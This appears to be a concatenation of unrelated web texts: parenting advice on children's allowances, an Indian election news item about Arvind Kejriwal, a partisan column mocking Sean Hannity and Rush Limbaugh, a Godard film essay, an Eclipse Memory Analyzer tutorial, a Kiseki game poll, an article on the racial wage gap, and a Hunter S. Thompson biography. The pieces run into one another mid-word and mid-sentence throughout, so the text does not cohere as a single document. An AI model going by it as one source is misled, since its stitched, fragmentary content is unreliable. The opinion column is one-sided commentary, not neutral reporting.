When kids have their own money, Hunt says, "It’s important they make choices and then live with the consequences." That means: This is their money to do with as they please. If they spend a month's allowance in the first week, too bad. Do not give them a loan. The point of the allowance is to teach them how to save for what they want. By experiencing negative consequences firsthand, they'll learn to make smarter choices.
Top Teaching Opportunities
Routine tasks and chores can be great opportunities to show your kids how to handle money. Hunt recommends involving children in grocery shopping to help them understand planning, saving and finding the best value. Take them to the store and let them hold the list to demonstrate the concept of purposeful shopping. Point out the different pricing structures and brands. Ask them: Is it a better value to get 20 ounces for $4 or 40 ounces for $6? They’ll learn value and get to practice their math skills. However, Hunt cautions against taking children window-shopping or over-exposing them to stores, which may encourage consumerism and impulse buying.
The bank can be another good field trip. Even though most modern banking is done online, Hunt says it’s important to bring kids to a physical branch to show them how it works. Let them watch you make a deposit, or sit down with a bank manager and encourage the child to ask questions. Hunt says age 10 is a good time to help them open a savings account, teach the concept of interest and allow them to manage and track its progress online. Once they’re old enough to get a job, they need to have a checking account and debit card.
Many other teaching opportunities will present themselves naturally. As a way to teach the mechanics of credit, open up a credit card offer and walk your child through what it means to delay paying, carry a balance and pay interest. Use a first paycheck to explain taxes and apartment or house-hunting to explain the concept of a mortgage. “Keep teaching your kids new and more complicated concepts as they get older; they’ll understand,” Hunt says. “It’s our job as parents to give them roots and wings, so they can survive and thrive in the real world.”
Follow me @Jenna_Goudreau, and subscribe to me on Facebook.
See Also:
Top Money Mistakes We Pass On To Our Kids
Is Your Partner Cheating On You Financially?
Women's Top Money Fears And 7 Steps To Overcome Them
Suze Orman On Family And Money
Financial Checklist Before Starting A FamilyArvind Kejriwal was stopped by the police from going to Narendra Modi's house
Arvind Kejriwal's white-hot tour of Gujarat notched a new controversy this morning - he was stopped by the Gandhinagar police from driving up to the residence of Narendra Modi, the BJP's prime ministerial candidate.The police, who stopped Mr Kejriwal about two kilometres from Mr Modi's home, said he could not proceed till he was granted an appointment. Mr Kejriwal's close aide, Manish Sisodia, then visited Mr Modi's office to seek an appointment but was told a packed schedule makes that impossible today.This morning, Mr Kejriwal, who is the chief of the Aam Aadmi Party (AAP), announced that he would drop in to meet Mr Modi with a list of 16 questions that challenge the BJP's claims of the hyper-development of Gujarat on his watch.As he waited for nearly an hour in his car near Mr Modi's house, he justified his attempt for an unscheduled meeting. "What recourse do I have? They don't answer questions, they don't reply to letters. ""AAP's Politics now includes the Right to gate crash, the right to a violent protest and the Right to take liberties with the truth," tweeted BJP leader Arun Jaitley.Mr Kejriwal's road-show in Gujarat, which began on the day national elections were announced, has been steeped in controversy. The Election Commission says he violated the code of conduct because he did not get prior police permission for his procession through the state; cars transporting him and Mr Sisodia were attacked; his brief detention at a police station resulted in extreme street battles between workers of his party and the BJP in Delhi and Lucknow. Mr Kejriwal resigned as Chief Minister of Delhi 49 days after his party delivered an improbably strong result in the first election it contested. AAP says that if Mr Modi runs for Parliament from anywhere outside Gujarat, Mr Kejriwal is likely to stand against him.If you watched Sean Hannity and Rush Limbaugh shoot the bull for about 20 minutes Thursday night on Fox News Channel, you learned nothing about:
The wasting of a million dollars of government revenue on private jets chartered by Tom Price, President Trump’s self-serving secretary of Health and Human Services who may soon be fired;
The life-threating human misery in Puerto Rico resulting from the fiasco of hurricane relief botched by the Trump administration;
The increasing tempo of multiple investigations into Russian espionage during the presidential election last November in favor of Trump, who upset Hillary Clinton despite three million more votes for Clinton;
The embarrassment to the Republican Party this week when crackpot religious fanatic Roy Moore defeated U.S. Senator Luther Strange in the Alabama Republican primary despite Trump stumping for Strange;
And the threat of nuclear war with North Korea, an erratic nation whose unpredictable, young leader is taunted impulsively by Trump, a large, bellicose, 71-year-old, orange-faced, yellow-haired chief executive.
Instead of discussing such news on this “news” channel, these two right-wing propaganda kings cherry-picked only a couple of topics that might have been met with Trump’s approval. Limbaugh complained at length about how Republicans, who control Congress, are squandering their chance to dominate the national direction for decades.
And Limbaugh—a dedicated fan of the National Football League—said he’d play golf from now on each Sunday because he’s disgusted by the black athletes who protest police brutality by dropping to a respectful knee during the national anthem before the beginning of their games.
He also attacked the Republican failures to destroy the health care system or to ram through tax cuts to comfort the comfortable and afflict the afflicted.
“This is an embarrassment,” Limbaugh said. “A once-in-a-lifetime opportunity is being squandered… It’s an absolute crime what has happened here.”
Rather than blame the amateur president for his lack of policy details, his belligerent attitude toward even his allies, and his slippery grasp of legislative process, the celebrity broadcaster and admitted drug abuser—in a fanciful twirl of logic—blamed entrenched Republicans who fear what Trump success might mean.
“They can’t afford for him to succeed with his agenda,” Limbaugh said.
Why?
“The lid’s blown, the gig is over, the joke is revealed if an outsider with no prior political experience can come in and fix messes,” Limbaugh said. “How does that make them look? They can’t allow that to happen.”
Limbaugh appeared on the fourth day of the first week of Hannity’s new time slot—9 p.m. instead of 10 p.m. He now goes head-to-head against the liberal Rachel Maddow on progressive MSNBC. Her program, The Rachel Maddow Show, has surpassed all Fox shows in ratings recently as Fox has reeled from sex scandals, schedule shuffles and the departure of several stars.
One of them, Bill O’Reilly, was a Hannity guest this week, as was Steve Bannon, the ultra-right wing propagandist who recently left the White House to resume control of the extremist web site Breitbart News. Paul Ryan was Hannity’s featured guest on Wednesday, and Limbaugh’s recorded interview will conclude Friday night.
Trump last Friday started the football controversy at a Strange rally by telling a hooting Alabama mob that black players demonstrating peacefully were sons of bitches who should be fired.
Trump and his fluffers like Hannity say starting this dispute is a brilliant stroke by Trump because Trump comes out in favor of the flag, the anthem and soldiers while athletes or media who dare to oppose Trump must be against all those patriotic things.
Indeed, this ploy is brilliant if you don’t mind insulting black people with a lie and disrupting a major entertainment industry by pouring salt into one of America’s most painful wounds and gleefully rubbing it in. Hannity and Limbaugh do this for a living, and Trump has learned from them.
Limbaugh, who bragged about his lack of a college education Thursday, said he knows more about the NFL issue than the black players who have attended college and spoken up.
“I don’t even think they understand,” Limbaugh said, explaining that they are being manipulated by “The Left.” It’s all about being a manly man like Limbaugh, Hannity and Trump.
“The Left wants to cause great damage to the NFL,” Limbaugh said. “What does the NFL stand for? Masculinity. Strength. Toughness… It’s patriotic. You’ve got the flag. You’ve got the anthem. You’ve got uniformed military personnel. All the things that The Left wants to erase from this country.
“They don’t like displays of patriotism, strength, rugged individualism,” Limbaugh continued. “And that’s why the players are being used here. They think it’s about police brutality.”
Both Limbaugh and Hannity agreed that such silly concerns over fatal police shootings of unarmed black men is exaggerated because black people kill other black people anyway so what’s the big deal?
LIMBAUGH: “More blacks are killed in Chicago by other blacks.”
HANNITY: “Nobody talks about it.”
Joe Lapointe spent 20 years as a sports reporter for The New York Times and worked as a segment producer for Countdown With Keith Olbermann. Recently, he has taught journalism at New York University, Rutgers and Long Island University-Brooklyn. follow him on twitter: @joelapointe
More by Joe LaPointe:
Fox News Bros O’Reilly and Hannity Defend White Race Against NFL
Trump Fumbles Most Dangerous Plot Yet: A Cultural War He Can’t Win
Amid Ratings Slump, Is Fox Grooming Shannon Bream to Replace Sean Hannity?Perspective: Godard's latest film goes largely unseen in L.A.
Jean-Luc Godard's difficult but poetic 'Film Socialisme' has been out for months but hasn't yet had a run in this film capital.
With the arrival of his latest feature, "Film Socialisme," this estrangement has reached a new nadir. The film, which debuted at Cannes last year and had its U.S. premiere in New York on June 3, has not opened in Los Angeles. Except for the odd one-off screening (at the 2010 AFI festival and this May at UCLA) it hasn't shown here. The nonprofit Cinefamily at the Silent Movie Theatre is planning a limited run, though no date has been set.
The words are from 1981, and since then the two sides have been meeting less and less frequently. Like the late periods of John Coltrane and Miles Davis in jazz, late Godard will never enjoy the appeal of his early classic era. Many devotees of classic Godard view the subsequent films as artistic solipsism. They wonder whether Godard long ago lost interest in meeting his audience halfway, or even, in his famous contrarianism, was willfully fleeing in the other direction.
Jean-Luc Godard, in one of his countless musings on the love of his life, once said: "The cinema is halfway. We go halfway and the audience meets us halfway. But we have to agree that we need a meeting point. … The image is a meeting point."
Considering that the filmmaker is now 80, and reportedly in declining health, possibly the last feature of his extraordinary career will not get a proper airing. Given Godard's residence these days beyond the outermost reaches of contemporary concerns, this is perhaps not bewildering. But it is dispiriting. Not only because it is the great Godard, but because "Film Socialisme," for anyone willing to make the effort to meet him halfway — and, to be sure, the thicket is dense to the point of daunting — is rewarding in ways that few movies are.
It is not only a laudable new work from an aging master, it is often gorgeous and moving, and ultimately exhilarating, not least because of its piercing glimmer of optimism — yes, optimism — that shines through the thicket. A three-part meditation on a culture corrupt and adrift, embodied by a bloated vacation cruise ship on the Mediterranean, the film ultimately is buoyed by the wonder in its images, by its humor, and by the tender and stubborn idealism of youth at its heart.
Art-house auteur
It is no secret that so-called art-house films have had a difficult time finding a home in L.A. lately. But this is Godard. Like him or loathe him, it would be difficult to name an active filmmaker who has had more influence on the art or whose work continues to examine the art with more intelligence and vigor.
That should be enough to book the Nuart for a week. "For Ever Mozart" opened in L.A. in 1997 with an exclusive engagement at the Nuart, as did "In Praise of Love" in 2002 and "Notre Musique" in 2004. Despite the contraction of suitable L.A. venues, the Nuart remains true to its mission of offering bold and often essential programming. It plans a fall screening of a new print of 1967's "Week End." "But as far as Godard goes," says longtime film buyer Mark Valen, "that's where my sights are set right now."
Valen noted that Godard's films of the last 15 years or so have not performed well at the box office, nor have they made much of an impression on him. In a recent conversation, he did not recall that Godard's last two features had premiered locally at the Nuart. As for "Film Socialisme," Valen said he doubted it could sustain enough business for a one-week run — the Nuart's usual engagement. "But I always want to be open-minded, so I looked at it. And I really didn't care for the picture."
Greg Laemmle of Laemmle Theatres, the only other commercial destination in L.A. for off-off-Hollywood films, said he expressed interest in screening "Film Socialisme," but could not arrive at a mutually agreeable financial arrangement with the film's U.S. distributor, Kino Lorber.Analyzing and understanding the memory use of an application is challenging. A subtle logic error can result in listeners never being disposed, ultimately leading to the dreaded OutOfMemory error. Even if your application is properly disposing of all unused objects, it may still be requiring 10 or 100 times more memory than necessary.
Lucky for us, the Eclipse Memory Analyzer (MAT) can help provide details of an application’s memory use. The tool is useful for both tracking memory leaks and for periodically reviewing the state of your system. In this tutorial I’ll outline 10 tips to help you use the MAT more effectively. If you’re a Java developer, the Eclipse Memory Analyzer Tool should certainly be in your debugging toolbox.
[ Looking for more useful tools? See our Eclipse Tools page. | Managing your Eclipse workspace is easier with Yoxos. Create a free profile now. ]
The Memory Analyzer can be installed using the Install New Software dialog or through the Eclipse MarketPlace Client. You can also include it in your own custom Eclipse install using Yoxos.
In this example, we are using a very simple program that allocates 100,000 Listeners, and stores them in 4 different lists. The application then sleeps without removing or clearing these lists.
1. Acquiring a memory snapshot (Heap Dump)
There are several ways you can get started with MAT. You can:
Configure an application to dump the contents of its memory when an out of memory error occurs, Connect the MAT to an existing java process, or Manually acquire a heap dump and load it into the MAT
In all cases it’s important to keep in mind that this is a snapshot of memory at a point in time. The MAT cannot tell you why an object was created, nor can it show you objects that have already been garbage collected. However, if you use the MAT alongside other debugging tools and techniques, you can often conquer memory leaks pretty quickly.
To configure your application to produce a heap dump whenever an OutOfMemory Error is thrown, add the following vm argument:
-XX:+HeapDumpOnOutOfMemoryError
Alternatively, you can use jstack to acquire a Heap dump from a currently running java process.
jmap -dump:file=heap.bin <pid>
Finally, you can use the MAT’s Acquire Heap Dump action to choose an existing Java process on your local machine.
When you load a Heap dump for the first time, the MAT will index it. This make take a few minutes, but the results will be persisted so subsequent loads will be quick.
2. Understanding the Histogram
When you first acquire your heap dump, the MAT will show you an overview of the applications memory use.
The pie chart in the middle shows you the biggest objects by retained size. That means if we could dispose a particular instance of java.lang.Thread we would save 11.2Mb, and over 90% of the memory used in this application. While that might look interesting, java.lang.Thread is unlikely the real problem here. To get a better sense of what objects currently exist, you can use the Histogram.
The histogram shows the number of instances of a particular class and how much memory each one uses. Of course, char[], String and Object[] are unlikely the problem. To help better organize this view, you can group by classloader or package. This will allow you to focus on your Objects.
The histogram can also be filtered using a regular expression. For example, we can show only classes that match the pattern com.example.mat.*
With this view, we can now start to see that 100,000 Listener Objects are alive in the system. We can also see the amount of memory each Object is using. There are two calculations, Shallow Heap and Retained Heap. Shallow heap is the amount of memory consumed by one object. An Object requires 32 (or 64 bits, depending on the architecture) for each reference. Primitives such as integers and longs require 4 or 8 bytes, etc… While this can be interesting, the more useful metric is the Retained Heap.
3. Understanding the Retained Heap
The retained heap shows the sum of the shallow heap size of all objects that would be removed when this object is garbage collected. For example, if an ArrayList held 100,000 items, and each item required 16 bytes, then removing the ArrayList would free 16 x 100,000 + X, where X is the shallow size of the ArrayList. (Note: this assumes that these objects are only being referenced by the ArrayList, and not elsewhere).
The retained heap is computed by adding the size all the objects in the retained set. A retained set of X is the set of objects which would be removed by the GC when X is collected.
The retained heap can be calculated in two different ways, using the quick approximation or the precise retained size.
By calculating the Retained Heap we can now see that com.example.mat.Controller is holding the majority of the memory, even though it’s only 24 bytes itself. By finding a way to free up the Controller, we can certainly get our memory problem under control.
4. The Dominator Tree
The key to understanding your retained heap, is looking at the dominator tree. The dominator tree is a tree produced by the complex object graph in your system. The dominator tree allows you to identify the largest memory graphs. An Object X is said to dominate an Object Y if every path from the Root to Y must pass through X. Looking at the dominator tree for our example, we can start to see where the bulk of our memory is leaking.
By looking at the dominator tree, we can easily see that it’s not the java.lang.Thread that’s the problem, but rather the Controller and the Allocator that hold the memory. All 100,000 Listeners are being retained by the Controller. By either removing freeing these objects, or freeing the lists that they contain, we can likely improve our situation. There are a few useful properties of the dominator tree:
All Objects that belongs to a subtree of X ( com.example.mat.Controller in this case) are said to be in the retained set of X
in this case) are said to be in the retained set of X If X is the immediate dominator of Y (Controller is the immediate dominator of the Allocator), then the immediate dominator of X (which is java.lang.Thread in our example) also dominates Y.
of Y (Controller is the immediate dominator of the Allocator), then the immediate dominator of X (which is in our example) also dominates Y. The parent child relationship in the tree do not necessarily correspond to the relationships in the Object graph
From the Histogram you can also choose a particular class and find all the objects that dominate the instances of this class.
5. Exploring Paths to the GC Roots
Sometimes you have a large collection of Objects that you’re certain your disposing of. Finding the the dominator may help, but often you want the exact path from that Object to the roots. For example, if I now properly dispose of my Controller, then certainly my memory problem should go away, unfortunately they didn’t. If I now choose an instance of the Listener, and look at Paths To GC Roots, I can see that the Controller class (Note: the class, not an Object) reference to a list of Listeners. This is because one of the list was declared static.
You can also explore all the incoming and outgoing references to an Object. This is very useful if you want to see all the references to a particular Object in the Object graph.
6. The ‘Inspector’
The Inspector provides detailed information about the currently selected Class or Object. In this example we can see that the currently selected ArrayList contains 100,000 elements and references an object array at memory location 0x7f354ea68.
Keeping the Inspector and the Snapshot linked will provide you with important statistics about all your selections.
7. Common Memory Anti-Patterns
The MAT provides reports for common memory use anti-patterns. These can be used to get an idea of where memory leaks are occurring, or by looking for some low hanging fruit which can be cleaned up to help improve performance.
The Heap Dump Overview will show you detailed information about your Heap Dump and provide links to common tools (like the Histogram). Information such as the threads which were running, total number of Objects in the system, size of the heap, and are also shown.
The Leak Suspects report displays possible memory leaks, and provides links to the tools and charts to analyze these findings.
Another common anti-pattern is the use of a large number of collections, with very few entries in each one. For example, if our listeners each had an array of notifiers (items that need to be notified of certain events), but these notifiers were only used occasionally, we would end up wasting a lot of space. The Java Collections tools can help with these problems.
By running a Collection -> Fill Ratio Report we can see that there are 100,000 ArrayLists that are empty. If were allocated these in a lazy manner (only when needed), we would save almost 8Mb.
We can also use Collection Analysis to see array fill ratios, collection size statistics and map collision ratios.
8. Java Tools
The MAT has a number of built in tools to generate reports tailored to the details of the Java runtime. For example, the Threads and Stacks report will show details about all the treads in the system. You can see the local variables which are currently kept alive on each stack.
You can Find all the Strings in the system that match a particular pattern:
Or even find Strings in the system which contain wasted space in their character arrays (often due to repeated use of substring).
9. Object Query Language
As we’ve shown, the Eclipse Memory Analyzer has a lot of tools to help track both memory leaks and excessive memory use. While most memory problems can likely be addressed using the techniques described above, a Heap Dump contains much more information. The Object Query Language (OQL) allows you to build your own reports based on the results of a Heap Dump.
The OQL is an SQL-like language. Just think of Classes as tables, Objects as rows and Fields as columns. For example. to show all Objects of type com.example.mat.Listener, you would simply write:
select * from com.example.mat.Listener
Columns can be configured using different fields, such as:
SELECT toString(l.message), l.message.count FROM com.example.mat.Listener l
And finally, the WHERE clause can be used to specify particular criteria, such as all the Strings in the system which are not of the format “message:.*”
SELECT toString(s), s.count FROM java.lang.String s WHERE (toString(s) NOT LIKE "message.*")
10. Exporting your results
The memory analyzer is a great tool for creating reports about the state of an application’s memory. A Heap Dump contains valuable information about the state of your system, and the MAT provides the tools needed to access this data. However, like with many open tools, if something is missing you’re not locked in, nor are you out |
, with voters saying that the blades themselves are cool, or that it’s a cool art used by Loewe to make it their vote.
2. Aerial
Aerial is yet another staple of the Kiseki series, and the voters all called on its usefulness, saying that with its low cost, it is quick and strong, while another brought up that it was very useful on sepith up bonus turns.
3. Dark Matter
The people who voted for Dark Matter pointed out its usefulness to group enemies together to make other area of effect attacks more useful.
4. Tear
5. Avalon Gate
5. Death Scream
7. Crimson Ray
7. Adamas Guard
9. Clock Up
10. Reincarnation
Seraphim Ring was in second place at the midpoint results, but didn’t even make the top ten, in the end. Tear was for all the various versions of it, as they are extremely useful. A comment was also made for Avalon Gate, that it is just visually cool, on top of being a full field effect.
Screenshot sources:
Silver Thorn: Video by Klose Rinz
Dark Matter: Video by lrglrgflc
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RelatedThe Martin Luther King Jr. Memorial in the District. The civil rights leader also had a dream that one day there would be economic opportunity and economic justice for all. It's unclear if we've made much progress on that front. (Jewel Samad/Getty Images)
We’ve known for a while that black Americans aren’t making economic progress. A recent report from the Economic Policy Institute, a left-leaning think tank, shows that the black-white wage gap is now the widest it has been since 1979. What's more interesting, though, is how inequality has been increasing, and for whom.
It used to be that low-skilled black workers suffered the greatest disadvantage relative to their white counterparts. But there has been a strange reversal in the past 40 years. EPI finds that the black-white wage gap has become wider — and is widening faster — among those with more education.
This chart illustrates the history of the wage gap among men with less than 10 years of job experience. The early years are the most crucial in a person’s career, and also the most sensitive to fluctuations in the job market.
In 1980, black men entering the job market with just a high school diploma earned 15 percent less than similar white men on average. In contrast, black men with bachelor’s degrees or more earned only 5 percent less than similar white male college graduates.
College, in other words, once seemed a surefire route to something approaching racial equity. Nowadays, the picture is more complicated.
While the racial wage gap among less-educated men has held steady at about 15 percent, that gap for men with college diplomas increased significantly in the 1980s, and now hovers between 15 and 20 percent. In 2014, the penalty for being educated-while-black was about 18 percent. The penalty for less-educated black men was 16 percent.
A similar pattern exists for women. Among less-educated women with less than 10 years of job experience, the black-white wage gap was 6.2 percent in 2014. But among college-educated women, the wage gap was closer to 12 percent.
The authors of the report — Valerie Wilson, director of EPI's program on race, ethnicity and the economy, and William Rodgers III — calculate how different factors have contributed to these changes.
Among early-career men, for instance, the earnings disparities between white and black workers have widened by about 3 percent since 1979. These disparities would have been even wider had African Americans not made gains in college attainment during this time. But that educational progress was overshadowed, the researchers say, by two major forces: increasing discrimination and increasing income inequality.
“We have minimum wages, but there isn’t a wage ceiling,” Wilson said. “There’s much more room for discrimination and inequality at the top. What’s happened is that the top one percent have really pulled away.”
Income growth in recent decades has been limited, more or less, to the highest echelon of earners, a group that is overwhelmingly white. Out of every 1,000 households in the top 1 percent, only two are black, while about 910 are white. And so, as economic forces lifted the incomes of the 1 percent, the blacks on lower rungs of the economic ladder have been largely left behind.
Much of those income gains were concentrated among financial-sector workers and corporate executives — occupations where blacks remain highly underrepresented. In part, African Americans are not given the same opportunities to rise; lawsuits have accused Merrill Lynch, for instance, of systematically discriminating against its black brokers. And in part, black workers simply don’t have the right connections to get ahead.
“Finance and management still remain very white-dominated, and those are the occupations that are seeing the highest rates of return,” Harvard sociologist Devah Pager, who was not involved in the study, said in an interview. “And to an extent, those kind of jobs are filled through elite networks that African Americans have been historically excluded from.”
These facts help explain why a recent Pew Research Center survey shows that African Americans with more education perceive more economic inequality. Among blacks with four-year college degrees, 81 percent say that blacks today are financially worse off than whites. But among blacks with no college experience, only 46 percent agree with that statement.
Pew also finds that college-educated blacks are more likely to report personal experiences with discrimination, and more likely to say that being black makes it harder to get ahead in life.
The data suggest an irony: By climbing the economic ladder, African Americans get perspective on the full system of inequality in America.
No matter your race, the world can appear fairly egalitarian if you and all your neighbors are working for minimum wage at Walmart. But graduating college introduces people to new dimensions of disadvantage. If you’re a minority on Wall Street or at a corporate law firm, where the rewards are larger but also much more unevenly distributed, you may become more attuned to how discrimination leads to denied promotions and missed opportunities to impress the bosses.
The widening black-white wage gap isn't just occurring at the top, Wilson and Rodgers say.
In 1979, the median wage for white workers was $16.89 an hour, while the median wage for black workers was $13.89 — a gap of about 18 percent. By 2015, that gap had increased to 26.2 percent. This means that even among middle-class workers, whites have been outpacing blacks.
The researchers blame this largely on rising discrimination, which they say may have resulted in part from the increasingly lax enforcement of anti-discrimination laws. That is one of the few explanations left after they controlled for a slew of other factors, including differences in education levels, local labor market conditions, industry structure, unionization rates and years of experience.
The EPI report adds to a sense that the economy is biased against black progress. We know that the Great Recession was especially damaging to African American wealth. We know that black people are more sensitive to downturns in the job market; they have a harder time finding a job, and are among the first to be fired when the economy seizes up. We know that for the past 50 years, the black unemployment rate has always been double that of the white unemployment rate.
Now, it is undeniably clear that rising income inequality — one of the major economic problems of our time — disproportionately impedes black workers. Perhaps this should have been obvious. But the people who steer the economy, who are trained to think in terms of faceless consumers and anonymous firms, don't always recognize the racial consequences of their decisions. That might change soon. Many politicians have been urging the Fed recently to recognize how its actions would specifically affect African Americans. Because when the economy's rewards are unevenly distributed by race, economic policy implicitly becomes racial policy.Hunter S. Thompson (18th of July 1937 To the 20th of February 2005)
Print journalist, was born Hunter Stockton Thompson in Louisville, Kentucky, the son of Jack Thompson, an insurance agent, and his second wife, Virginia Ray. Young Hunter was an avid reader and showed an early interest in journalism, collaborating with several fourth-grade friends on a mimeographed newspaper called the Southern Star, but his even greater interest in mischief and pranks earned him a reputation as the neighbourhood hellion. Hunter’s father died in 1952, and his mother, who took a library job to support the family, was even less able to control her wild son on her own. In 1955, after a long string of brushes with the law over incidents of underage drinking, theft, and vandalism, he was sentenced to sixty days in jail for a mugging and spent his high school graduation day behind bars. Joining the military after his release seemed like the best option. While serving at Eglin Air Force Base, in the Florida panhandle, he took night classes at Florida State University and marked the formal start of his journalism career, talking his way into the sports editor position on the weekly Command Courier, the base newspaper.
Honourably discharged in 1957, Thompson bounced through a series of short-lived journalism jobs in Pennsylvania, New York City, upstate New York, and Puerto Rico while piling up rejection notices for his fiction, taking a few literature classes at Columbia University, and practising the novelist’s craft by copying Hemingway and Fitzgerald on the typewriter. (He never finished college; the title of “Doctor” he would later flaunt came courtesy of an inexpensive mail-order divinity degree.) In 1962 he wangled a spot as the South America correspondent for the new National Observer, which had been created by the innovative Dow Jones executive Barney Kilgore as a general-interest weekly version of the Wall Street Journal. In stories about smugglers in Colombia, nightclub shootings in Rio de Janeiro, and his own bouts with exotic tropical diseases in Peru, Thompson began to develop a casual, subjective, often comic style that tended to blur the line between fiction and fact.
In 1963, after a year in South America, Thompson returned home and married his long-time girlfriend, Sandra Conklin. They soon moved to the San Francisco Bay area, where they lived hand-to-mouth while Thompson quarrelled with the Observer (he thought his assignments were too lightweight, while some staffers suspected him of fabrication) and struggled with a novel. Their son was born in 1964; his wife would eventually have three miscarriages and two children who died within hours of birth.
Blurring the Lines
A turning point came in 1965, when the Nation, the venerable liberal weekly, assigned Thompson a story about the Hell’s Angels, the outlaw motorcycle gang that had recently been the subject of an outraged investigation by the California attorney general’s office. Thompson’s story, which appeared in the 17 May 1965 issue, garnered enormous attention with its contraire conclusion that the attorney general and the press were “conning” the public by spreading an alarmist view of a gang actually made up of “outsiders and losers.” He spent the next year riding, drinking, and partying with the Angels to gather material for a book, Hell’s Angels: A Strange and Terrible Saga (1966), in which he blended an anthropologist’s eye view of an out-group and a picaresque, even fantastic adventure tale featuring himself as a central character and culminating in a dramatic postscript about how he was “stomped” without warning by several of the bikers he’d been writing about. “It had been a bad trip,” he concluded, “fast and wild insome moments, slow and dirty in others, but on balance it looked like a bummer (1966)
The book was a flamboyant rejection of long-standing journalistic conventions of even-handed, impartial, impersonal observation. Other practitioners of the genre that was becoming known as the New Journalism–notably Tom Wolfe, Gay Talese, Norman Mailer, Truman Capote, and others clustering at such publications as New York magazine, the New Yorker, and Esquire magazine–were also challenging traditional objective journalism as disingenuous, dull, and inadequate to the complexity of the times. They used similar tactics and devices, including immersion reporting, novelistic techniques, and an unapologetically personal point of view, and sometimes embraced the principle that a higher truth could come from a lower threshold of strict accuracy. None, however, pushed the envelope as hard and habitually as Thompson, who resisted categorisation and clustered nowhere. His insurrectionary style–profane, egocentric, and often literally and purposefully incredible–would soon be dubbed “gonzo” by a friend. “With the truth so dull and depressing,” he would write while covering the 1972 presidential campaign, “the only working alternative is wild bursts of madness and filigree” (Fear and Loathing: On the Campaign Trail 1972)
In 1967 Thompson and his family moved to Owl Farm, in Woody Creek, near Aspen, Colorado, which would be his home for the rest of his life–much of which he spent gleefully taunting the area’s rich developers and vacationers and cultivating his image as part hillbilly, part hippie, and all trouble-maker. In 1970, for instance, he nearly won election as Pitkin County sheriff on a Freak Power ticket, promising, among other reforms, to rename Aspen “Fat City” (to discourage tourism) and to replace all its paved streets with sod.
In June 1967 the muckraking Scanlan’s Monthly published a story whose fame would long outlive the evanescent magazine itself. Thompson’s ” The Kentucky Derby Is Decadent and Depraved” portrayed the famous Louisville horse race, his hometown’s beloved rite, as a drunken mob scene overrun by “the whiskey gentry–a pretentious mix of booze, failed dreams and a terminal identity crisis; the inevitable result of too much inbreeding in a closed and ignorant culture” (The Great Shark Hunt). As was becoming typical for Thompson, a large part of the story was about his own extravagant adventures in covering the event; only three sentences of the seven-thousand-odd words described the results of the race itself, which Thompson confessed he had barely been able to see.
Exploding the American Dream
Radicalised by the brutality of the Chicago police against antiwar protesters at the 1968 Democratic National Convention, and appalled by what he saw as the darkness and venality of the Richard Nixon presidency, Thompson focused more and more of his writing on politics and on his conviction that the American dream was terminally ill. The relationship he began in 1970 with the counterculture magazine Rolling Stone and its editor, Jann Wenner, led to his most celebrated works. Fear and Loathing in Las Vegas: A Savage Journey to the Heart of the American Dream was published first as a two-part magazine article in November 1971 and then as a best-selling book. Written in the voice of Thompson’s alter ego, Raoul Duke, a cynical, chain-smoking, whiskey-guzzling, gun-loving connoisseur of illicit drugs, it chronicled the chemically enhanced adventures of Duke and his companion, Dr. Gonzo, as they explored the crassness of American culture. “We were somewhere around Barstow on the edge of the desert when the drugs began to take hold...,” it begins. “And suddenly there was a terrible roar all around us and the sky was full of what looked like huge bats, all swooping and screeching and diving around the car, which was going about a hundred miles an hour with the top down to Las Vegas. And a voice was screaming: ‘Holy Jesus! What are these goddamn animals?'” (1971) – (1998). Fear and Loathing: On the Campaign Trail ’72 (1973) also appeared as a book after serial publication in Rolling Stone. Thompson took the increasingly popular journalist-covers-campaign-coverage genre to an extreme in a garishly opinionated, gaudily caustic blast at journalism, politics, and politicians (except for the Democrat George McGovern), the peace candidate, whom he clearly preferred to the “bonehead” senator Edmund Muskie, the “crazy” former senator Eugene McCarthy, the “dunce”. New York City mayor John Lindsay (1973) – (2006,) and the “treacherous, gutless old ward-heeler” “former vice president Hubert Humphrey, who “always campaigned like a rat in heat.” (1973) Many readers and reviewers seemed to agree that his scabrous view of the bizarrely artificial world of the campaign trail was truthful, if not always factually correct, but others were perhaps confused; some readers reportedly believed Thompson’s suggestion that Muskie’s erratic moods were caused by his use of a rare Brazilian hallucinogenic drug. Some critics, notably Wayne C. Booth, in the influential Columbia Journalism Review (Nov./Dec. 1973), were troubled by Thompson’s evident contempt for the political process and by the untrustworthiness of his facts.
Celebrity
In the mid-1970s Thompson began a series of missteps that some friends speculated were evidence of the toll taken by his celebrity, his notoriously heavy drinking and drug use, or both. When Rolling Stone sent Thompson and his long-time collaborator, the illustrator Ralph Steadman, to Zaire to cover the 1974 “Rumble in the Jungle” between the heavyweight boxers Muhammad Ali and George Foreman, Thompson sold or lost their tickets and missed seeing Ali’s upset victory over the champion Foreman. After his story on the fall of Saigon in 1975 failed to meet expectations, his contributions to the magazine dwindled. He and Sandy Thompson were divorced in 1980, at her initiative.
Thompson continued to write for a variety of publications, ranging from running magazine (he covered the Honolulu marathon for the April 1981 issue) to the San Francisco Examiner, for which he wrote a weekly column of media and political criticism from 1985 to 1990. Although most of his best work was behind him, he had become a cult figure; he was the model for the Uncle Duke character in Garry Trudeau’s popular Doonesbury cartoon strip (a distinction Thompson disliked). He was also immensely popular on the college lecture circuit, was the subject of several documentaries, and was portrayed in two feature films: by Bill Murray in Where the Buffalo Roam (1980) and by Johnny Depp in Fear and Loathing in Las Vegas (1998). But serious critical attention was also coming his way from biographers and scholars who saw him as a pungent critic of culture and politics and as an underrated journalist responsible for expanding the boundaries of permissible language, style, tone, and subject matter. Anniversary reprints of his earliest books brought them renewed notice, and a series of anthologies, including The Great Shark Hunt: Strange Tales from a Strange Time (1979), Generation of Swine: Tales of Shame and Degradation in the ’80s (1988), and Songs of the Doomed: More Notes on the Death of the American Dream (1990), made a large body of his previously uncollected or unpublished articles, letters, and fiction widely available (although critics carped that some of the work hardly deserved the attention). In 1998, forty years after his penniless struggles to succeed as a novelist, The Rum Diary, a tale of drinking, sex, and hack journalism in Puerto Rico that was rooted in his own experiences there, was finally published in full.
In 2003 Thompson married Anita Bejmuk, who had been assisting him with his correspondence. Debilitated by health problems and in visibly depressed spirits, at the age of sixty-seven he shot and killed himself in his home. A memorial celebration held at Owl Farm six months later included the elaborate send-off he had been seen planning in a 1978 BBC documentary: his ashes were blasted from a cannon on top of a specially constructed fifteen-story monument into the Colorado sky. “He loved explosions,” his widow told the Associated Press (6 Apr. 2005)
Bibliography
Hell’s Angels: The Strange and Terrible Saga of the Outlaw Motorcycle Gangs
